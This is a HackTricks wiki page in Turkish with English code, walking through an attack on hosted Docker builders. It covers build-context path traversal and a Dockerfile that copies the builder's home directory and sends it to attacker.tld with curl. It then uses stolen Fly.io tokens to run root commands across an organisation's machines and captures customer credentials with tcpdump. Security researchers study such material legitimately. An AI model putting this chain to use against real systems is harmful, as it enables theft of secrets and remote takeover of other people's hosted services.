Docker Build Context’in Hosted Builders’da Kötüye Kullanımı (Path Traversal, Exfil, and Cloud Pivot)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

TL;DR

Eğer bir CI/CD platformu veya hosted builder katkıda bulunanların Docker build context yolunu ve Dockerfile yolunu belirtmesine izin veriyorsa, genellikle context’i üst dizine (ör. “..”) ayarlayarak host dosyalarını build context’in bir parçası haline getirebilirsiniz. Ardından, saldırgan kontrollü bir Dockerfile, builder kullanıcısının home’unda bulunan sırları COPY ile exfiltrate edebilir (ör. ~/.docker/config.json). Çalınan registry token’ları provider’ın control-plane APIs’ine karşı da çalışabilir ve org-genel RCE’ye olanak sağlayabilir.

Saldırı yüzeyi

Pek çok hosted builder/registry servisi, kullanıcı tarafından gönderilen image’ları build ederken kabaca şunları yapar:

  • Repo-level bir config’i okur; bu config şunları içerir:
    • build context path (Docker daemon’a gönderilir)
    • Dockerfile path bu context’e göre göreceli olarak
  • Belirtilen build context dizinini ve Dockerfile’ı Docker daemon’a kopyalar
  • Image’ı build eder ve hosted service olarak çalıştırır

Eğer platform build context’i canonicalize edip kısıtlamazsa, bir kullanıcı context’i repository dışındaki bir konuma (path traversal) ayarlayabilir; bu durumda build kullanıcısı tarafından okunabilir herhangi bir host dosyası build context’in bir parçası olur ve Dockerfile içinde COPY ile erişilebilir hale gelir.

Sık gözlemlenen pratik kısıtlamalar:

  • Dockerfile seçilen context path içinde bulunmalı ve yolu önceden biliniyor olmalıdır.
  • Build kullanıcısının context’e dahil edilen dosyaları okuma izni olmalıdır; özel device dosyaları kopyayı bozabilir.

PoC: Path traversal via Docker build context

Example malicious server config declaring a Dockerfile within the parent directory context:

runtime: "container"
build:
dockerfile: "test/Dockerfile"   # Must reside inside the final context
dockerBuildPath: ".."           # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"

Notlar:

  • “..” kullanımı çoğunlukla builder kullanıcısının home dizinine (ör. /home/builder) çözülür; bu dizin genellikle hassas dosyalar içerir.
  • Dockerfile’ınızı repo’nun dizin adı altında yerleştirin (ör. repo “test” → test/Dockerfile) böylece genişletilmiş parent context içinde kalır.

PoC: host context’i ingest edip exfiltrate eden Dockerfile

FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data                      # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)

Genellikle $HOME’den kurtarılan hedefler:

  • ~/.docker/config.json (registry auths/tokens)
  • Diğer cloud/CLI önbellekleri ve yapılandırmalar (ör. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)

İpucu: Depoda .dockerignore olsa bile, zayıf platform-tarafı context seçimi daemon’a ne gönderileceğini hâlâ belirler. Platform, seçilen yolu repo’nuzun .dockerignore dosyasını değerlendirmeden önce daemon’a kopyalarsa, host dosyaları hâlâ açığa çıkabilir.

Aşırı ayrıcalıklı token’larla cloud pivot (örnek: Fly.io Machines API)

Bazı platformlar container registry ve control-plane API için kullanılabilen tek bir bearer token verir. Eğer bir registry token’ını exfiltrate ederseniz, sağlayıcı API’sine karşı deneyin.

~/.docker/config.json içindeki çalınmış token kullanılarak Fly.io Machines API’ye örnek API çağrıları:

Bir organizasyondaki uygulamaları listele:

curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"

Bir uygulamanın herhangi bir makinesinde root olarak bir komut çalıştır:

curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'

Sonuç: token yeterli ayrıcalıklara sahipse tüm barındırılan uygulamalarda organizasyon çapında remote code execution.

İhlal edilmiş barındırılan servislerden gizli verilerin çalınması

Barındırılan sunucularda exec/RCE ile müşteri tarafından sağlanan gizli bilgileri (API keys, tokens) toplayabilir veya prompt-injection attacks düzenleyebilirsiniz. Örnek: tcpdump kurun ve port 8080’deki HTTP trafiğini yakalayarak gelen kimlik bilgilerini çıkarın.

# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'

# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'

Yakalanan istekler genellikle headers, bodies veya query params içinde istemci kimlik bilgileri içerir.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin